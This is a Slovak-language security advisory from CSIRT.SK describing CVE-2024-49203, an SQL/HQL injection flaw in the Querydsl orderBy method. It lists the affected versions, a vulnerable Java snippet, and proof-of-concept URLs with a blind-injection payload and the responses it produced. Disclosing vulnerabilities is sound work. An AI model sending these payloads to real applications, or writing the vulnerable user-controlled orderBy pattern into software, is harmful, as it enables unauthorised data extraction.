Zraniteľnosť knižnice Querydsl a OpenFeign Querydsl umožňujúca SQL/HQL injection

Bezpečnostní analytici CSIRT.SK objavili zraniteľnosť CVE-2024-49203 v Java knižnici Querydsl a OpenFeign Querydsl, ktorá umožňuje vykonávať útoky typu SQL/HQL injection.

Zraniteľné systémy:

  • querydsl-jpa – 5.1.0
  • querydsl-apt – 5.1.0
  • hibernate-core – 6.1.1.Final
  • jakarta.persistence-api – 3.1.0
  • postgresql – 42.7.4
  • OpenFeign querydsl – 6.8

Na uvedených verziách bola zraniteľnosť potvrdené. Nevylučujeme však, že je prítomná aj na ďalších verziách.

Opis činnosti:

CVE-2024-49203

Zraniteľnosť sa nachádza v najnovšej verzii knižnice Querydsl (resp. OpenFeign Querydsl) a súvisí s absenciou ošetrovania používateľských vstupov, ktoré preberá funkcia orderBy(OrderSpecifier order). Táto metóda slúži na usporiadanie výsledkov databázových dopytov. V prípade, že sa premenná order generuje pomocou používateľských vstupov, je možné prostredníctvom tejto premennej vykonávať HQL dopyty.

V prípade, že sa v kóde nachádza nasledujúci úryvok:

OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);
return orderedQuery.fetch();

kde hodnota premennej orderBy je poskytnutá používateľom, daná aplikácia je zraniteľná.

Keď používateľ navštívi stránku:

http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'2')='2'+ORDER+BY+t.id HTTP/1.1

vie vykonať takzvanú blind SQL injection, kde svoj SQL príkaz dá na miesto SELECT+’2′ a následne skúša akej hodnote sa rovná výsledok daného SQL príkazu nahradením ‘2’ za všetky možné hodnoty.

V našom príklade sa vygeneruje nasledovný SQL dopyt:

SELECT t1 FROM Test t1 Order By t1.name INTERSECT SELECT t FROM Test t WHERE (SELECT '2')='2' ORDER BY t.id ASC

V našom príklade by útočník získal všetky hodnoty prítomné v tabuľke Test, keďže (SELECT+’2′)=’2′ sa vyhodnotí ako True a teda sa spraví prienik všetkých prvkov v tabuľke Test t1 a Test t, ktorý je rovný všetkým prvkom v tabuľke Test.

Odpoveď by teda vyzerala nasledovne:

HTTP/1.1 200
Content-Type: application/json
Date: Tue, 08 Oct 2024 13:34:57 GMT
Content-Length: 27


[{"id":1,"name":"test123"}]

V prípade, že navštívime stránku:

http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELECT+'1')='2'+ORDER+BY+t.id HTTP/1.1

Kde sa podmienka vo WHERE časti vyhodnotí ako False dostaneme nasledovnú odpoveď:

HTTP/1.1 200
Content-Type: application/json
Date: Tue, 08 Oct 2024 13:36:30 GMT
Content-Length: 2

[]

Zraniteľnosť bola overovaná s použitím nasledujúcich verzií knižníc:

  • querydsl-jpa – 5.1.0
  • querydsl-apt – 5.1.0
  • hibernate-core – 6.1.1.Final
  • jakarta.persistence-api – 3.1.0
  • postgresql – 42.7.4
  • OpenFeign querydsl – 6.8

O existencii zraniteľnosti sme informovali autorov knižnice 9. 10. 2024.

Možné škody:

  • Únik citlivých informácií
  • Denial of service

Odporúčania:

Pokiaľ pri vývoji webovej aplikácie v jazyku Java využívate knižnicu Querydsl (resp. OpenFeign Querydsl) a používate metódu orderBy s použitím používateľských vstupov, odporúčame dodatočne ošetriť používateľské vstupy v rámci best practice bezpečného vývoja.

Odkaz: